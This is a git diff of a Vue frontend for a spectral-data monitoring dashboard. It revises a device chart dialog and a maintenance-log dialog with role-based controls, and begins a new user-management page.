||||
(请按 F12 查看控制台 Console 日志以排查数据格式)
|
||||
</div>
|
||||
</template>
|
||||
</el-empty>
|
||||
|
||||
<div v-else class="charts-scroll-container">
|
||||
<div
|
||||
@ -65,29 +72,31 @@
|
||||
|
||||
<script setup>
|
||||
import { ref, nextTick, onBeforeUnmount } from 'vue'
|
||||
import axios from 'axios'
|
||||
import request from '../utils/request' // 确保 request 工具路径正确
|
||||
import * as echarts from 'echarts'
|
||||
import { ElMessage, ElConfigProvider } from 'element-plus'
|
||||
import { Refresh } from '@element-plus/icons-vue'
|
||||
import zhCn from 'element-plus/es/locale/lang/zh-cn' // 引入中文语言包
|
||||
import { ElConfigProvider } from 'element-plus'
|
||||
import zhCn from 'element-plus/es/locale/lang/zh-cn'
|
||||
|
||||
// --- 状态定义 ---
|
||||
const visible = ref(false)
|
||||
const loading = ref(false)
|
||||
const deviceName = ref('')
|
||||
const currentSource = ref('') // 核心:保存设备源类型 (106 或 82)
|
||||
const selectedDate = ref('') // 当前选择的日期 (YYYY-MM-DD)
|
||||
const dataTimestamp = ref('') // 用于在标题旁显示具体的时分秒
|
||||
const currentSource = ref('')
|
||||
const selectedDate = ref('')
|
||||
const dataTimestamp = ref('')
|
||||
const chartModules = ref([])
|
||||
const emptyText = ref('暂无数据')
|
||||
const API_BASE = import.meta.env.DEV ? 'http://127.0.0.1:5000' : ''
|
||||
|
||||
// ECharts 实例管理
|
||||
// --- ECharts 实例管理 ---
|
||||
let chartInstances = []
|
||||
const chartRefs = ref([])
|
||||
const setChartRef = (el, index) => { if (el) chartRefs.value[index] = el }
|
||||
|
||||
// 禁止选择未来日期
|
||||
// 动态 Ref 设置函数
|
||||
const setChartRef = (el, index) => {
|
||||
if (el) chartRefs.value[index] = el
|
||||
}
|
||||
|
||||
// 日期禁用逻辑
|
||||
const disabledDate = (time) => {
|
||||
return time.getTime() > Date.now()
|
||||
}
|
||||
@ -95,7 +104,7 @@ const disabledDate = (time) => {
|
||||
// 格式化设备名称
|
||||
const formatDisplayName = (name) => (name ? name.toUpperCase().replace(/_/g, ' ') : '')
|
||||
|
||||
// 辅助函数:获取今天日期的字符串
|
||||
// 获取今天的日期字符串 YYYY-MM-DD
|
||||
const getTodayString = () => {
|
||||
const today = new Date()
|
||||
const y = today.getFullYear()
|
||||
@ -104,21 +113,16 @@ const getTodayString = () => {
|
||||
return `${y}-${m}-${d}`
|
||||
}
|
||||
|
||||
// --- 核心入口:供父组件调用 ---
|
||||
// --- 核心入口 ---
|
||||
const open = (row) => {
|
||||
visible.value = true
|
||||
deviceName.value = row.name
|
||||
currentSource.value = row.source
|
||||
chartModules.value = []
|
||||
|
||||
// --- 逻辑修改核心:默认展示数据库最新一条数据 ---
|
||||
// row.latest_time 格式通常为 "2026-01-08 16:29:28"
|
||||
// 处理初始日期
|
||||
if (row.latest_time && row.latest_time !== 'N/A') {
|
||||
// 1. 保存完整时间用于显示
|
||||
dataTimestamp.value = row.latest_time
|
||||
|
||||
// 2. 提取日期部分 (YYYY-MM-DD) 赋值给 DatePicker
|
||||
// 兼容空格分隔或 T 分隔
|
||||
try {
|
||||
const datePart = row.latest_time.split(' ')[0].split('T')[0]
|
||||
selectedDate.value = datePart
|
||||
@ -127,62 +131,71 @@ const open = (row) => {
|
||||
selectedDate.value = getTodayString()
|
||||
}
|
||||
} else {
|
||||
// 如果没有历史记录,默认显示今天,且不显示具体时间点
|
||||
selectedDate.value = getTodayString()
|
||||
dataTimestamp.value = ''
|
||||
}
|
||||
|
||||
// 3. 此时 selectedDate 已自动同步为最新数据的日期,直接加载
|
||||
loadData()
|
||||
}
|
||||
|
||||
// 日期改变时重新加载
|
||||
// 日期改变回调
|
||||
const handleDateChange = () => {
|
||||
// 用户手动切换日期时,清空具体时间显示(因为我们只知道日期,不知道该日期的具体时间点)
|
||||
dataTimestamp.value = ''
|
||||
loadData()
|
||||
}
|
||||
|
||||
// --- 数据加载逻辑 ---
|
||||
// --- 数据加载逻辑 (已修复崩溃问题) ---
|
||||
const loadData = async () => {
|
||||
if (!deviceName.value || !selectedDate.value) return
|
||||
|
||||
loading.value = true
|
||||
chartModules.value = []
|
||||
emptyText.value = '加载中...'
|
||||
disposeCharts() // 销毁旧图表实例
|
||||
|
||||
disposeCharts()
|
||||
|
||||
try {
|
||||
// 发起请求:根据设备名和日期获取数据
|
||||
const res = await axios.get(`${API_BASE}/api/device_data_by_date`, {
|
||||
const res = await request.get('/api/device_data_by_date', {
|
||||
params: {
|
||||
name: deviceName.value,
|
||||
date: selectedDate.value
|
||||
}
|
||||
})
|
||||
|
||||
const { content, source } = res.data
|
||||
// 1. 获取原始数据
|
||||
const rawContent = res.data.content
|
||||
const source = res.data.source
|
||||
|
||||
// 2. 关键修复:安全转换。如果 content 是 null/undefined,转为空字符串;如果是对象,转为字符串。
|
||||
let safeContent = ''
|
||||
if (rawContent !== null && rawContent !== undefined) {
|
||||
safeContent = typeof rawContent === 'object' ? JSON.stringify(rawContent) : String(rawContent)
|
||||
}
|
||||
|
||||
// [关键容错] 优先使用接口返回的 source,若接口未返回则使用列表页传来的 source
|
||||
// 这决定了是使用 106正则解析 还是 82JSON解析
|
||||
const effectiveSource = source || currentSource.value
|
||||
|
||||
if (!content || content === '{}' || content === 'null') {
|
||||
// Debug日志
|
||||
console.log(`[LoadData] Source: ${effectiveSource}, Safe Content Length: ${safeContent.length}`)
|
||||
|
||||
// 3. 判空逻辑
|
||||
// 注意:有时候后端返回字符串 "null" 或 "{}" 也代表空
|
||||
if (!safeContent || safeContent === 'null' || safeContent === '{}' || safeContent === '""') {
|
||||
emptyText.value = `${selectedDate.value} 无数据记录`
|
||||
} else {
|
||||
// 解析数据
|
||||
// 4. 解析数据
|
||||
const modules = parseChartData({
|
||||
name: deviceName.value,
|
||||
content,
|
||||
content: safeContent, // 传入处理后的安全字符串
|
||||
source: effectiveSource
|
||||
})
|
||||
|
||||
chartModules.value = modules
|
||||
|
||||
if (modules.length === 0) {
|
||||
// 安全截取字符串,避免报错
|
||||
console.warn('解析结果为空。原始内容片段:', safeContent.substring(0, 100))
|
||||
emptyText.value = '数据解析失败 (格式不匹配)'
|
||||
} else {
|
||||
// 等待 DOM 更新后渲染图表
|
||||
await nextTick()
|
||||
initCharts()
|
||||
}
|
||||
@ -192,36 +205,41 @@ const loadData = async () => {
|
||||
emptyText.value = `${selectedDate.value} 无数据记录`
|
||||
} else {
|
||||
console.error('Data Load Error:', e)
|
||||
ElMessage.error('获取详细数据失败')
|
||||
emptyText.value = '请求出错'
|
||||
emptyText.value = '数据加载异常'
|
||||
}
|
||||
} finally {
|
||||
loading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
// --- 数据解析逻辑 ---
|
||||
|
||||
// 1. 解析 106 类型数据 (正则解析)
|
||||
// --- 解析器:106 系列 ---
|
||||
function parse106Data(content) {
|
||||
if (typeof content !== 'string') return []
|
||||
const modules = []
|
||||
// 匹配 Model, SN 和 波长信息
|
||||
const infoRegex = /FS\d_Info,Model,([^,]+),SN,([^,]+).*?Wavelength,([\d\.,\s]+)/gs
|
||||
let match
|
||||
|
||||
while ((match = infoRegex.exec(content)) !== null) {
|
||||
const model = match[1]
|
||||
const sn = match[2]
|
||||
// 处理波长数组
|
||||
const wavelengths = match[3].split(',').map(Number).filter((n) => !isNaN(n))
|
||||
// 宽松正则:不强制开头,允许空格,允许跨行匹配
|
||||
const blockRegex = /(?:FS\d_Info|Info)?[\s\S]*?Model\s*,\s*([^,\r\n]+)[\s\S]*?SN\s*,\s*([^,\r\n]+)[\s\S]*?Wavelength\s*,\s*([0-9\.,\s]+)/gi
|
||||
|
||||
let match
|
||||
blockRegex.lastIndex = 0
|
||||
|
||||
while ((match = blockRegex.exec(content)) !== null) {
|
||||
const modelRaw = match[1].trim()
|
||||
const snRaw = match[2].trim()
|
||||
const waveRaw = match[3]
|
||||
|
||||
const wavelengths = waveRaw.split(',').map(Number).filter((n) => !isNaN(n))
|
||||
if (wavelengths.length === 0) continue
|
||||
|
||||
const series = []
|
||||
|
||||
// 提取 P1 到 P4 的数据
|
||||
for (let p = 1; p <= 4; p++) {
|
||||
const dMatch = content.match(
|
||||
new RegExp(`${model.trim()}_P${p}[^0-9-]*([\\d\\.,\\s-]+)`, 'i')
|
||||
)
|
||||
// 转义 Model 名称中的特殊字符
|
||||
const escapedModel = modelRaw.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
|
||||
|
||||
const pRegex = new RegExp(`${escapedModel}_P${p}[^0-9-]*([\\d\\.,\\s-]+)`, 'i')
|
||||
|
||||
const dMatch = content.match(pRegex)
|
||||
if (dMatch) {
|
||||
const vals = dMatch[1].split(',').map((v) => parseFloat(v))
|
||||
if (vals.some((v) => v !== null && !isNaN(v))) {
|
||||
@ -233,18 +251,19 @@ function parse106Data(content) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (series.length) {
|
||||
modules.push({ type: '106', model, sn, xAxis: wavelengths, series })
|
||||
modules.push({ type: '106', model: modelRaw, sn: snRaw, xAxis: wavelengths, series })
|
||||
}
|
||||
}
|
||||
return modules
|
||||
}
|
||||
|
||||
// 2. 解析 82 类型数据 (JSON解析)
|
||||
// --- 解析器:82 系列 ---
|
||||
function parse82Data(content, deviceName) {
|
||||
try {
|
||||
const d = typeof content === 'string' ? JSON.parse(content) : content
|
||||
// 兼容 wavelenth 和 wavelength 拼写
|
||||
|
||||
if (d && (d.wavelenth || d.wavelength)) {
|
||||
const xData = d.wavelenth || d.wavelength
|
||||
return [{
|
||||
@ -264,20 +283,25 @@ function parse82Data(content, deviceName) {
|
||||
}
|
||||
}
|
||||
|
||||
// 3. 统一解析入口
|
||||
// --- 主解析入口 ---
|
||||
function parseChartData(device) {
|
||||
if (!device || !device.content) return []
|
||||
const is106Site = device.source && device.source.includes('106')
|
||||
|
||||
if (is106Site) {
|
||||
return parse106Data(device.content)
|
||||
// 这里的 content 已经是经过 loadData 转换的安全字符串了
|
||||
const contentStr = device.content.trim()
|
||||
|
||||
const is106Source = (device.source && device.source.includes('106'))
|
||||
// 判断是否像 106 文本 (不以{开头 且 包含Model关键字)
|
||||
const looksLike106Text = !contentStr.startsWith('{') && /Model/i.test(contentStr)
|
||||
|
||||
if (is106Source || looksLike106Text) {
|
||||
return parse106Data(contentStr)
|
||||
} else {
|
||||
return parse82Data(device.content, device.name)
|
||||
return parse82Data(contentStr, device.name)
|
||||
}
|
||||
}
|
||||
|
||||
// --- ECharts 渲染逻辑 ---
|
||||
|
||||
// --- ECharts 配置 ---
|
||||
function getChartOption(moduleData, isMobile = false) {
|
||||
const titleText = moduleData.type === '106'
|
||||
? `Model: ${moduleData.model} (SN: ${moduleData.sn})`
|
||||
@ -290,27 +314,60 @@ function getChartOption(moduleData, isMobile = false) {
|
||||
top: 10,
|
||||
textStyle: { fontSize: isMobile ? 14 : 16 },
|
||||
},
|
||||
tooltip: { trigger: 'axis', confine: true, axisPointer: { type: 'cross' } },
|
||||
tooltip: {
|
||||
trigger: 'axis',
|
||||
confine: true,
|
||||
axisPointer: { type: 'cross' }
|
||||
},
|
||||
legend: { top: 35, type: 'scroll' },
|
||||
toolbox: { feature: { saveAsImage: { title: '保存' }, dataZoom: { title: { zoom: '缩放', back: '还原' } } } },
|
||||
grid: { top: 80, bottom: 30, right: isMobile ? 10 : 40, left: isMobile ? 40 : 50 },
|
||||
xAxis: { type: 'category', data: moduleData.xAxis, boundaryGap: false, name: 'nm' },
|
||||
yAxis: { type: 'value', min: 'dataMin', max: 'dataMax', scale: true },
|
||||
toolbox: {
|
||||
feature: {
|
||||
saveAsImage: { title: '保存' },
|
||||
dataZoom: { title: { zoom: '缩放', back: '还原' } }
|
||||
}
|
||||
},
|
||||
grid: {
|
||||
top: 80,
|
||||
bottom: 30,
|
||||
right: isMobile ? 10 : 40,
|
||||
left: isMobile ? 40 : 50
|
||||
},
|
||||
xAxis: {
|
||||
type: 'category',
|
||||
data: moduleData.xAxis,
|
||||
boundaryGap: false,
|
||||
name: 'nm'
|
||||
},
|
||||
yAxis: {
|
||||
type: 'value',
|
||||
min: 'dataMin',
|
||||
max: 'dataMax',
|
||||
scale: true
|
||||
},
|
||||
series: moduleData.series.map((s) => ({
|
||||
name: s.name, type: 'line', data: s.data, connectNulls: false, smooth: true, showSymbol: false,
|
||||
lineStyle: { width: 1.5, color: s.color }, areaStyle: { opacity: 0.1, color: s.color },
|
||||
name: s.name,
|
||||
type: 'line',
|
||||
data: s.data,
|
||||
connectNulls: false,
|
||||
smooth: true,
|
||||
showSymbol: false,
|
||||
lineStyle: { width: 1.5, color: s.color },
|
||||
areaStyle: { opacity: 0.1, color: s.color },
|
||||
})),
|
||||
}
|
||||
}
|
||||
|
||||
// --- ECharts 初始化 ---
|
||||
const initCharts = () => {
|
||||
if (chartModules.value.length === 0) return
|
||||
const isMobile = window.innerWidth < 768
|
||||
|
||||
chartModules.value.forEach((mod, index) => {
|
||||
const el = chartRefs.value[index]
|
||||
if (el) {
|
||||
// 防止重复初始化
|
||||
if (echarts.getInstanceByDom(el)) echarts.getInstanceByDom(el).dispose()
|
||||
const oldInstance = echarts.getInstanceByDom(el)
|
||||
if (oldInstance) oldInstance.dispose()
|
||||
|
||||
const chart = echarts.init(el)
|
||||
chart.setOption(getChartOption(mod, isMobile))
|
||||
chartInstances.push(chart)
|
||||
@ -318,6 +375,7 @@ const initCharts = () => {
|
||||
})
|
||||
}
|
||||
|
||||
// --- ECharts 销毁 ---
|
||||
const disposeCharts = () => {
|
||||
chartInstances.forEach((chart) => chart && chart.dispose())
|
||||
chartInstances = []
|
||||
|
||||
@ -9,7 +9,6 @@
|
||||
append-to-body
|
||||
>
|
||||
<div class="logs-container">
|
||||
|
||||
<div class="toolbar">
|
||||
<div class="filter-group">
|
||||
<el-date-picker
|
||||
@ -23,21 +22,24 @@
|
||||
@change="fetchLogs"
|
||||
style="width: 260px"
|
||||
/>
|
||||
|
||||
<el-input
|
||||
v-model="keyword"
|
||||
placeholder="搜索:设备名 / 工程师 / 内容"
|
||||
style="width: 300px"
|
||||
clearable
|
||||
:disabled="isSearchLocked"
|
||||
:clearable="!isSearchLocked"
|
||||
@clear="fetchLogs"
|
||||
@keyup.enter="fetchLogs"
|
||||
>
|
||||
<template #prefix><el-icon><Search /></el-icon></template>
|
||||
</el-input>
|
||||
<el-button type="primary" @click="fetchLogs">查询</el-button>
|
||||
|
||||
<el-button type="primary" @click="fetchLogs" :disabled="isSearchLocked">查询</el-button>
|
||||
</div>
|
||||
|
||||
<div class="action-group">
|
||||
<el-button type="success" icon="Plus" @click="openAddDialog">新增记录</el-button>
|
||||
<div class="action-group" v-if="userRole !== 'client'">
|
||||
<el-button type="success" icon="Plus" @click="() => openAddDialog()">新增记录</el-button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@ -58,22 +60,31 @@
|
||||
</el-table-column>
|
||||
|
||||
<el-table-column prop="location" label="地点" width="150" show-overflow-tooltip />
|
||||
<el-table-column prop="engineer" label="工程师" width="120" />
|
||||
|
||||
<el-table-column prop="engineer" label="工程师" width="120">
|
||||
<template #default="{ row }">
|
||||
<el-tag type="info" size="small">{{ row.engineer }}</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
|
||||
<el-table-column prop="content" label="维修/故障详情" min-width="300" show-overflow-tooltip />
|
||||
|
||||
<el-table-column label="操作" width="180" align="center" fixed="right">
|
||||
<el-table-column label="操作" width="180" align="center" fixed="right" v-if="userRole !== 'client'">
|
||||
<template #default="{ row }">
|
||||
<el-button
|
||||
type="primary"
|
||||
link
|
||||
icon="Edit"
|
||||
@click="openEditDialog(row)"
|
||||
style="margin-right: 5px;"
|
||||
>
|
||||
修改
|
||||
</el-button>
|
||||
|
||||
<el-popconfirm title="确定删除这条记录吗?" @confirm="deleteLog(row.id)">
|
||||
<el-popconfirm
|
||||
v-if="userRole === 'admin'"
|
||||
title="确定删除这条记录吗?"
|
||||
@confirm="deleteLog(row.id)"
|
||||
>
|
||||
<template #reference>
|
||||
<el-button type="danger" link icon="Delete">删除</el-button>
|
||||
</template>
|
||||
@ -92,20 +103,34 @@
|
||||
<el-form :model="logDialog.form" label-width="80px" label-position="top">
|
||||
<el-row :gutter="20">
|
||||
<el-col :span="12">
|
||||
<el-form-item label="设备名称">
|
||||
<el-input
|
||||
<el-form-item label="设备名称" required>
|
||||
<el-autocomplete
|
||||
v-model="logDialog.form.device_name"
|
||||
placeholder="例: 106_Tower"
|
||||
:disabled="logDialog.isEdit"
|
||||
/>
|
||||
<div v-if="logDialog.isEdit" class="form-tip">
|
||||
<el-icon><InfoFilled /></el-icon> 为了数据追溯,修改模式下禁止更改关联设备
|
||||
</div>
|
||||
:fetch-suggestions="querySearchDevice"
|
||||
placeholder="必须选择现有设备"
|
||||
:disabled="logDialog.isDeviceLocked || logDialog.isEdit"
|
||||
style="width: 100%"
|
||||
clearable
|
||||
highlight-first-item
|
||||
trigger-on-focus
|
||||
>
|
||||
<template #default="{ item }">
|
||||
<span class="name">{{ formatDisplayName(item.value) }}</span>
|
||||
</template>
|
||||
</el-autocomplete>
|
||||
</el-form-item>
|
||||
</el-col>
|
||||
<el-col :span="12">
|
||||
<el-form-item label="工程师">
|
||||
<el-input v-model="logDialog.form.engineer" placeholder="例: 张工" />
|
||||
<el-form-item label="工程师" required>
|
||||
<el-input
|
||||
v-model="logDialog.form.engineer"
|
||||
:placeholder="userRole === 'engineer' ? '' : '请输入工程师姓名'"
|
||||
:disabled="userRole === 'engineer'"
|
||||
>
|
||||
<template #prefix>
|
||||
<el-icon><UserFilled /></el-icon>
|
||||
</template>
|
||||
</el-input>
|
||||
</el-form-item>
|
||||
</el-col>
|
||||
</el-row>
|
||||
@ -114,7 +139,7 @@
|
||||
<el-input v-model="logDialog.form.location" placeholder="例: 3号楼顶层" />
|
||||
</el-form-item>
|
||||
|
||||
<el-form-item label="事件内容">
|
||||
<el-form-item label="事件内容" required>
|
||||
<el-input
|
||||
v-model="logDialog.form.content"
|
||||
type="textarea"
|
||||
@ -136,26 +161,31 @@
|
||||
</template>
|
||||
|
||||
<script setup>
|
||||
import { ref, reactive } from 'vue'
|
||||
import axios from 'axios'
|
||||
import { ref, reactive, onMounted } from 'vue'
|
||||
import request from '../utils/request'
|
||||
import { ElMessage, ElConfigProvider } from 'element-plus'
|
||||
import { Search, Plus, Delete, Edit, InfoFilled } from '@element-plus/icons-vue'
|
||||
import { Search, Plus, Delete, Edit, UserFilled } from '@element-plus/icons-vue'
|
||||
import zhCn from 'element-plus/es/locale/lang/zh-cn'
|
||||
|
||||
const API_BASE = import.meta.env.DEV ? 'http://127.0.0.1:5000' : ''
|
||||
|
||||
// --- 核心状态 ---
|
||||
// --- 状态定义 ---
|
||||
const visible = ref(false)
|
||||
const loading = ref(false)
|
||||
const logsList = ref([])
|
||||
const keyword = ref('')
|
||||
const dateRange = ref([])
|
||||
const isSearchLocked = ref(false)
|
||||
|
||||
// 缓存的所有设备列表,格式 [{value: 'dev1'}, {value: 'dev2'}]
|
||||
const allDevices = ref([])
|
||||
|
||||
const userRole = ref('')
|
||||
const currentUsername = ref('')
|
||||
|
||||
// 弹窗状态封装
|
||||
const logDialog = reactive({
|
||||
visible: false,
|
||||
submitting: false,
|
||||
isEdit: false,
|
||||
isDeviceLocked: false,
|
||||
form: {
|
||||
id: null,
|
||||
device_name: '',
|
||||
@ -165,19 +195,59 @@ const logDialog = reactive({
|
||||
}
|
||||
})
|
||||
|
||||
// --- 方法逻辑 ---
|
||||
// 统一获取认证信息
|
||||
const refreshAuth = () => {
|
||||
userRole.value = localStorage.getItem('role') || 'client'
|
||||
currentUsername.value = localStorage.getItem('username') || ''
|
||||
}
|
||||
|
||||
// 1. 暴露给父组件的打开方法
|
||||
onMounted(() => { refreshAuth() })
|
||||
|
||||
// 1. 打开主列表
|
||||
const open = (prefillData = null) => {
|
||||
refreshAuth()
|
||||
visible.value = true
|
||||
// 如果从设备卡片点击进来,自动筛选该设备
|
||||
isSearchLocked.value = false
|
||||
keyword.value = ''
|
||||
|
||||
// 🟢 必须:打开时立即加载设备库,否则无法校验
|
||||
fetchAllDevices()
|
||||
|
||||
if (prefillData && prefillData.deviceName) {
|
||||
keyword.value = prefillData.deviceName
|
||||
if (userRole.value !== 'admin') {
|
||||
isSearchLocked.value = true
|
||||
}
|
||||
}
|
||||
fetchLogs()
|
||||
}
|
||||
|
||||
// 2. 获取数据列表
|
||||
// 🟢 获取设备库(核心)
|
||||
const fetchAllDevices = async () => {
|
||||
try {
|
||||
const res = await request.get('/api/devices_overview')
|
||||
if (res.data && res.data.data) {
|
||||
allDevices.value = res.data.data.map(d => ({ value: d.name }))
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('无法加载设备列表', e)
|
||||
}
|
||||
}
|
||||
|
||||
// 自动补全过滤
|
||||
const querySearchDevice = (queryString, cb) => {
|
||||
const results = queryString
|
||||
? allDevices.value.filter(createFilter(queryString))
|
||||
: allDevices.value
|
||||
cb(results)
|
||||
}
|
||||
const createFilter = (queryString) => {
|
||||
return (item) => {
|
||||
return (item.value.toLowerCase().indexOf(queryString.toLowerCase()) !== -1)
|
||||
}
|
||||
}
|
||||
|
||||
// 2. 获取日志列表
|
||||
const fetchLogs = async () => {
|
||||
loading.value = true
|
||||
try {
|
||||
@ -186,118 +256,140 @@ const fetchLogs = async () => {
|
||||
params.start_date = dateRange.value[0]
|
||||
params.end_date = dateRange.value[1]
|
||||
}
|
||||
const res = await axios.get(`${API_BASE}/api/logs/list`, { params })
|
||||
const res = await request.get('/api/logs/list', { params })
|
||||
logsList.value = res.data.data
|
||||
} catch (e) {
|
||||
ElMessage.error('加载日志中心数据失败')
|
||||
ElMessage.error('获取日志失败')
|
||||
} finally {
|
||||
loading.value = false
|
||||
}
|
||||
}
|
||||
|
||||
// 3. 处理新增
|
||||
// 3. 打开新增
|
||||
const openAddDialog = () => {
|
||||
refreshAuth()
|
||||
logDialog.isEdit = false
|
||||
|
||||
let autoEngineer = ''
|
||||
if (userRole.value === 'engineer') {
|
||||
autoEngineer = currentUsername.value
|
||||
}
|
||||
|
||||
// 逻辑:如果搜索栏锁定了(从设备卡片进来的),直接锁定设备名
|
||||
let prefillDevice = ''
|
||||
let lockDevice = false
|
||||
|
||||
if (isSearchLocked.value && keyword.value) {
|
||||
prefillDevice = keyword.value
|
||||
lockDevice = true
|
||||
}
|
||||
|
||||
logDialog.isDeviceLocked = lockDevice
|
||||
|
||||
logDialog.form = {
|
||||
id: null,
|
||||
// 自动带入当前的搜索词作为设备名,提高录入效率
|
||||
device_name: keyword.value || '',
|
||||
engineer: '',
|
||||
device_name: prefillDevice,
|
||||
engineer: autoEngineer,
|
||||
location: '',
|
||||
content: ''
|
||||
}
|
||||
logDialog.visible = true
|
||||
}
|
||||
|
||||
// 4. 处理修改
|
||||
// 4. 编辑
|
||||
const openEditDialog = (row) => {
|
||||
refreshAuth()
|
||||
logDialog.isEdit = true
|
||||
// 编辑模式禁止修改设备名(防止关联错误)
|
||||
logDialog.isDeviceLocked = true
|
||||
|
||||
logDialog.form = {
|
||||
id: row.id,
|
||||
device_name: row.device_name,
|
||||
engineer: row.engineer,
|
||||
engineer: userRole.value === 'engineer' ? currentUsername.value : row.engineer,
|
||||
location: row.location,
|
||||
content: row.content
|
||||
}
|
||||
logDialog.visible = true
|
||||
}
|
||||
|
||||
// 5. 提交表单(核心逻辑区分)
|
||||
// 5. 🟢 提交保存 (核心修改区)
|
||||
const submitLog = async () => {
|
||||
if (!logDialog.form.device_name || !logDialog.form.content) {
|
||||
return ElMessage.warning('设备名称和事件内容为必填项')
|
||||
refreshAuth()
|
||||
|
||||
const inputDeviceName = logDialog.form.device_name;
|
||||
|
||||
// A. 基础非空校验
|
||||
if (!inputDeviceName || !logDialog.form.content) {
|
||||
return ElMessage.warning('请填写 设备名称 和 事件内容')
|
||||
}
|
||||
|
||||
// B. 🔴 关键逻辑:校验设备名是否存在于设备库中
|
||||
// 如果当前设备列表还没加载完(极少情况),尝试重新加载一次或者报错
|
||||
if (allDevices.value.length === 0) {
|
||||
await fetchAllDevices();
|
||||
}
|
||||
|
||||
// 检查输入的设备名是否能在 allDevices 数组里找到 exact match
|
||||
const isDeviceExist = allDevices.value.some(d => d.value === inputDeviceName);
|
||||
|
||||
// 如果设备名不在库中,且也不是空,直接拒绝
|
||||
if (!isDeviceExist) {
|
||||
return ElMessage.error(`设备 "${inputDeviceName}" 不存在!请从下拉列表中选择有效的设备。`);
|
||||
}
|
||||
|
||||
// C. 身份校验
|
||||
if (userRole.value !== 'engineer' && !logDialog.form.engineer) {
|
||||
return ElMessage.warning('请填写工程师姓名')
|
||||
}
|
||||
if (userRole.value === 'engineer') {
|
||||
logDialog.form.engineer = currentUsername.value
|
||||
}
|
||||
|
||||
logDialog.submitting = true
|
||||
try {
|
||||
const endpoint = logDialog.isEdit ? '/api/logs/update' : '/api/logs/add'
|
||||
await axios.post(`${API_BASE}${endpoint}`, logDialog.form)
|
||||
await request.post(endpoint, logDialog.form)
|
||||
|
||||
ElMessage.success(logDialog.isEdit ? '日志已成功修改' : '日志已添加')
|
||||
ElMessage.success(logDialog.isEdit ? '记录已更新' : '记录已添加')
|
||||
logDialog.visible = false
|
||||
fetchLogs() // 刷新列表
|
||||
fetchLogs()
|
||||
} catch (e) {
|
||||
ElMessage.error('操作失败,请检查网络或后端服务')
|
||||
ElMessage.error(e.response?.data?.msg || '保存失败')
|
||||
} finally {
|
||||
logDialog.submitting = false
|
||||
}
|
||||
}
|
||||
|
||||
// 6. 删除逻辑
|
||||
// 6. 删除
|
||||
const deleteLog = async (id) => {
|
||||
try {
|
||||
await axios.post(`${API_BASE}/api/logs/delete`, { id })
|
||||
ElMessage.success('记录已安全删除')
|
||||
await request.post('/api/logs/delete', { id })
|
||||
ElMessage.success('已删除')
|
||||
fetchLogs()
|
||||
} catch (e) {
|
||||
ElMessage.error('删除操作失败')
|
||||
ElMessage.error('无权删除')
|
||||
}
|
||||
}
|
||||
|
||||
// 格式化名称工具
|
||||
const formatDisplayName = (name) => name ? name.toUpperCase().replace(/_/g, ' ') : ''
|
||||
const formatDisplayName = (n) => n ? n.toUpperCase().replace(/_/g, ' ') : ''
|
||||
|
||||
// 暴露方法给父组件 Dashboard 调用
|
||||
defineExpose({ open })
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.logs-container {
|
||||
padding: 10px;
|
||||
}
|
||||
.logs-container { padding: 10px; }
|
||||
.toolbar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; }
|
||||
.filter-group { display: flex; gap: 12px; }
|
||||
|
||||
.toolbar {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 15px;
|
||||
flex-wrap: wrap;
|
||||
gap: 15px;
|
||||
}
|
||||
|
||||
.filter-group {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.form-tip {
|
||||
font-size: 12px;
|
||||
color: #909399;
|
||||
margin-top: 6px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
/* 调整输入框禁用时的样式,保持可读性 */
|
||||
:deep(.el-input.is-disabled .el-input__wrapper) {
|
||||
background-color: #f5f7fa;
|
||||
box-shadow: 0 0 0 1px #e4e7ed inset;
|
||||
.name {
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
:deep(.el-input.is-disabled .el-input__inner) {
|
||||
color: #606266;
|
||||
-webkit-text-fill-color: #606266;
|
||||
color: #303133 !important;
|
||||
-webkit-text-fill-color: #303133 !important;
|
||||
font-weight: bold;
|
||||
}
|
||||
</style>
|
||||
|
||||
481
zhandianxinxi/光谱数据监控/src/views/UserManagement.vue
Normal file
481
zhandianxinxi/光谱数据监控/src/views/UserManagement.vue
Normal file
@ -0,0 +1,481 @@
|
||||
<template>
|
||||
<div class="user-manage-container">
|
||||
<el-card shadow="never" class="main-card">
|
||||
<template #header>
|
||||
<div class="header-row">
|
||||
<div class="left-panel">
|
||||
<h2 class="sys-title">👥 用户与权限管理</h2>
|
||||
</div>
|
||||
<div class="header-actions">
|
||||
<el-button @click="router.push('/dashboard')" icon="Back">返回监控</el-button>
|
||||
<el-button type="primary" icon="Plus" @click="openCreateModal">新建用户</el-button>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<el-table :data="users" border style="width: 100%" v-loading="loading">
|
||||
<el-table-column prop="id" label="ID" width="80" align="center" />
|
||||
<el-table-column prop="username" label="用户名" min-width="150">
|
||||
<template #default="{ row }">
|
||||
<span style="font-weight: bold;">{{ row.username }}</span>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column prop="role" label="角色身份" width="150" align="center">
|
||||
<template #default="{ row }">
|
||||
<el-tag v-if="row.role === 'admin'" type="danger" effect="dark">超级管理员</el-tag>
|
||||
<el-tag v-else-if="row.role === 'engineer'" type="warning" effect="dark">设备工程师</el-tag>
|
||||
<el-tag v-else type="info" effect="plain">普通客户</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column prop="created_at" label="创建时间" min-width="180">
|
||||
<template #default="{ row }">
|
||||
{{ new Date(row.created_at).toLocaleString() }}
|
||||
</template>
|
||||
</el-table-column>
|
||||
<el-table-column label="关联设备数" min-width="120" align="center">
|
||||
<template #default="{ row }">
|
||||
<el-tag v-if="row.role === 'admin'" type="danger" effect="plain">全部权限</el-tag>
|
||||
<el-tag v-else effect="plain" type="success">{{ row.allowed_device_ids?.length || 0 }} 台</el-tag>
|
||||
</template>
|
||||
</el-table-column>
|
||||
